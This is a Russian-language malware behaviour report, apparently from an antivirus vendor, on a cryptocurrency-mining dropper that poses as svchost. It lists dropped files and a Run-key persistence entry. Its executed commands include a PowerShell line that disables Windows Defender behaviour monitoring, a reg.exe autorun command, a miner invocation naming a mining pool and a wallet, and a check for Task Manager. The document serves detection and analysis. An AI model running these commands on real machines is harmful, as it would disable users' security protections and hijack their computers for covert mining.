Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'windows0x64' = '%APPDATA%\Microsoft\windows0x64\svchost.exe'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\rarsfx0\garfield_couple.exe
- %TEMP%\_mei27722\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei27722\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei27722\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei27722\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei27722\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei27722\unicodedata.pyd
- %TEMP%\_mei27722\ucrtbase.dll
- %TEMP%\_mei27722\select.pyd
- %TEMP%\_mei27722\python37.dll
- %TEMP%\_mei27722\pyexpat.pyd
- %TEMP%\_mei27722\libssl-1_1-x64.dll
- %TEMP%\_mei27722\libcrypto-1_1-x64.dll
- %TEMP%\_mei27722\hellminer.exe.manifest
- %TEMP%\_mei27722\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei27722\api-ms-win-core-debug-l1-1-0.dll
- %APPDATA%\microsoft\windows0x64\install.vbs
- %APPDATA%\microsoft\windows0x64\install.bat
- %APPDATA%\microsoft\windows0x64\copy.vbs
- %APPDATA%\microsoft\windows0x64\check.bat
- %TEMP%\31e8.tmp\windows0x64.exe
- %TEMP%\31e8.tmp\windows0x64.bat
- %TEMP%\31e8.tmp\verus-solver.exe
- %APPDATA%\microsoft\windows0x64\setup.bat
- %TEMP%\31e8.tmp\update.vbs
- %TEMP%\31e8.tmp\start.vbs
- %TEMP%\31e8.tmp\setup.bat
- %TEMP%\31e8.tmp\run.bat
- %TEMP%\31e8.tmp\install.vbs
- %TEMP%\31e8.tmp\install.bat
- %TEMP%\31e8.tmp\copy.vbs
- %TEMP%\31e8.tmp\check.bat
- %TEMP%\31e8.tmp\32b4.tmp\32b5.bat
- %TEMP%\31e8.tmp\svchost.exe
- %APPDATA%\microsoft\windows0x64\start.vbs
- %APPDATA%\microsoft\windows0x64\run.bat
- %APPDATA%\microsoft\windows0x64\svchost.exe
- %TEMP%\_mei27722\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei27722\_decimal.pyd
- %TEMP%\_mei27722\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei27722\_ssl.pyd
- %TEMP%\_mei27722\_socket.pyd
- %TEMP%\_mei27722\_queue.pyd
- %TEMP%\_mei27722\_overlapped.pyd
- %TEMP%\_mei27722\_multiprocessing.pyd
- %TEMP%\_mei27722\_lzma.pyd
- %TEMP%\_mei27722\_hashlib.pyd
- %TEMP%\_mei27722\_ctypes.pyd
- %APPDATA%\microsoft\windows0x64\update.vbs
- %TEMP%\_mei27722\_contextvars.pyd
- %TEMP%\_mei27722\_bz2.pyd
- %TEMP%\_mei27722\_asyncio.pyd
- %TEMP%\_mei27722\vcruntime140.dll
- %TEMP%\5a5f.tmp\svchost.vbs
- %APPDATA%\microsoft\windows0x64\windows0x64.exe
- %APPDATA%\microsoft\windows0x64\windows0x64.bat
- %APPDATA%\microsoft\windows0x64\verus-solver.exe
- %TEMP%\_mei27722\base_library.zip
- %TEMP%\q77_jfjs
Удаляет следующие файлы
- %TEMP%\31e8.tmp\32b4.tmp\32b5.bat
- %TEMP%\rarsfx0\garfield_couple.exe
- %TEMP%\5a5f.tmp\svchost.vbs
- %TEMP%\31e8.tmp\check.bat
- %TEMP%\31e8.tmp\copy.vbs
- %TEMP%\31e8.tmp\install.bat
- %TEMP%\31e8.tmp\install.vbs
- %TEMP%\31e8.tmp\run.bat
- %TEMP%\31e8.tmp\start.vbs
- %TEMP%\31e8.tmp\svchost.exe
- %TEMP%\31e8.tmp\update.vbs
- %TEMP%\31e8.tmp\verus-solver.exe
- %TEMP%\31e8.tmp\windows0x64.bat
- %TEMP%\31e8.tmp\windows0x64.exe
- %TEMP%\q77_jfjs
Сетевая активность
TCP
- '13#.#9.123.225':3956
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\rarsfx0\garfield_couple.exe'
- '<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\windows0x64\start.vbs"
- '%APPDATA%\microsoft\windows0x64\windows0x64.exe' -c stratum+tcp://ap.luckpool.net:3956#xnsub -u RRdTxn5aKZUt1pEfyHYver7C3WWvhNHpHa.ishika -p x --cpu 1
- '<SYSTEM32>\wscript.exe' %TEMP%\5A5F.tmp\svchost.vbs \Microsoft\windows0x64\svchost.exe
- '%APPDATA%\microsoft\windows0x64\svchost.exe'
- '<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\windows0x64\copy.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\31E8.tmp\install.vbs"
- '%APPDATA%\microsoft\windows0x64\verus-solver.exe' -verus2 --cpu 0
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Microsoft\windows0x64\check.bat" "' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' %TEMP%\5A5F.tmp\svchost.vbs \Microsoft\windows0x64\svchost.exe' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\windows0x64\copy.vbs"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\setup.bat" "' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\check.bat" "' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\windows0x64.bat" "' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Microsoft\windows0x64\windows0x64.bat" "' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\31E8.tmp\32B4.tmp\32B5.bat %TEMP%\RarSFX0\garfield_couple.exe"' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\windows0x64\start.vbs"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\install.bat" "' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\31E8.tmp\32B4.tmp\32B5.bat %TEMP%\RarSFX0\garfield_couple.exe"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\setup.bat" "
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\install.bat" "
- '<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "windows0x64" /t REG_SZ /d ""%APPDATA%"\Microsoft\windows0x64\svchost.exe" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableBehaviorMonitoring $True
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\windows0x64.bat" "
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Microsoft\windows0x64\windows0x64.bat" "
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\31E8.tmp\check.bat" "
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Microsoft\windows0x64\check.bat" "
- '<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq Taskmgr.exe"
- '<SYSTEM32>\find.exe' /I /N "Taskmgr.exe"
